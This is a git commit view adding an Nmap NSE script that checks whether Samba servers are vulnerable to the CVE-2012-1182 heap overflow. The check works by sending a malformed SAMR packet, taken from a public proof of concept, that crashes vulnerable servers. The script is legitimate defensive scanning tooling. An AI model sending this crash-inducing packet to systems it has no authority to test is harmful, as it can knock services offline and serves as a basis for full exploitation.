summaryrefslogtreecommitdiffstats
path: root/scripts/samba-vuln-cve-2012-1182.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/samba-vuln-cve-2012-1182.nse')
-rw-r--r--scripts/samba-vuln-cve-2012-1182.nse130
1 files changed, 130 insertions, 0 deletions
diff --git a/scripts/samba-vuln-cve-2012-1182.nse b/scripts/samba-vuln-cve-2012-1182.nse
new file mode 100644
index 0000000..8e33c80
--- /dev/null
+++ b/scripts/samba-vuln-cve-2012-1182.nse
@@ -0,0 +1,130 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local string = require "string"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+
+description = [[
+Checks if target machines are vulnerable to the Samba heap overflow vulnerability CVE-2012-1182.
+
+Samba versions 3.6.3 and all versions previous to this are affected by
+a vulnerability that allows remote code execution as the "root" user
+from an anonymous connection.
+
+
+CVE-2012-1182 marks multiple heap overflow vulnerabilities located in
+PIDL based autogenerated code. This check script is based on PoC by ZDI
+marked as ZDI-CAN-1503. Vulnerability lies in ndr_pull_lsa_SidArray
+function where an attacker is under control of num_sids and can cause
+insufficient memory to be allocated, leading to heap buffer overflow
+and possibility of remote code execution.
+
+Script builds a malicious packet and makes a SAMR GetAliasMembership
+call which triggers the vulnerability. On the vulnerable system,
+connection is dropped and result is "Failed to receive bytes after 5 attempts".
+On patched system, samba throws an error and result is "MSRPC call
+returned a fault (packet type)".
+
+References:
+* https://bugzilla.samba.org/show_bug.cgi?id=8815
+* http://www.samba.org/samba/security/CVE-2012-1182
+
+]]
+
+-----------------------------------------------------------------------
+---
+-- @usage
+-- nmap --script=samba-vuln-cve-2012-1182 -p 139 <target>
+-- @output
+-- PORT STATE SERVICE
+-- 139/tcp open netbios-ssn
+--
+-- Host script results:
+-- | samba-vuln-cve-2012-1182:
+-- | VULNERABLE:
+-- | SAMBA remote heap overflow
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2012-1182
+-- | Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
+-- | Description:
+-- | Samba versions 3.6.3 and all versions previous to this are affected by
+-- | a vulnerability that allows remote code execution as the "root" user
+-- | from an anonymous connection.
+-- |
+-- | Disclosure date: 2012-03-15
+-- | References:
+-- | http://www.samba.org/samba/security/CVE-2012-1182
+-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1182
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln","intrusive"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host,port)
+
+ local result, stats
+ local response = {}
+
+ local samba_cve = {
+ title = "SAMBA remote heap overflow",
+ IDS = {CVE = 'CVE-2012-1182'},
+ risk_factor = "HIGH",
+ scores = {
+ CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
+ },
+ description = [[
+Samba versions 3.6.3 and all versions previous to this are affected by
+a vulnerability that allows remote code execution as the "root" user
+from an anonymous connection.
+]],
+ references = {
+ 'http://www.samba.org/samba/security/CVE-2012-1182',
+ },
+ dates = {
+ disclosure = {year = '2012', month = '03', day = '15'},
+ },
+ exploit_results = {},
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ samba_cve.state = vulns.STATE.NOT_VULN
+
+ -- create SMB session
+ local status, smbstate
+ status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- bind to SAMR service
+ local bind_result
+ status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- create malicious packet, same as in the PoC
+ local data = string.pack("<I4",4096) -- num_sids
+ .. "abcd"
+ ..string.pack("<I4I4I4",100
+ ,0
+ ,100)
+ ..string.rep("a",1000)
+
+ local marshaledHandle = string.rep("X",20)
+ status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
+ stdnse.debug2("msrpc.samr_getaliasmembership: %s, '%s'", status, result)
+ if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then
+ samba_cve.state = vulns.STATE.VULN -- connection dropped, server crashed
+ end
+
+ return report:make_output(samba_cve)
+
+end
+
+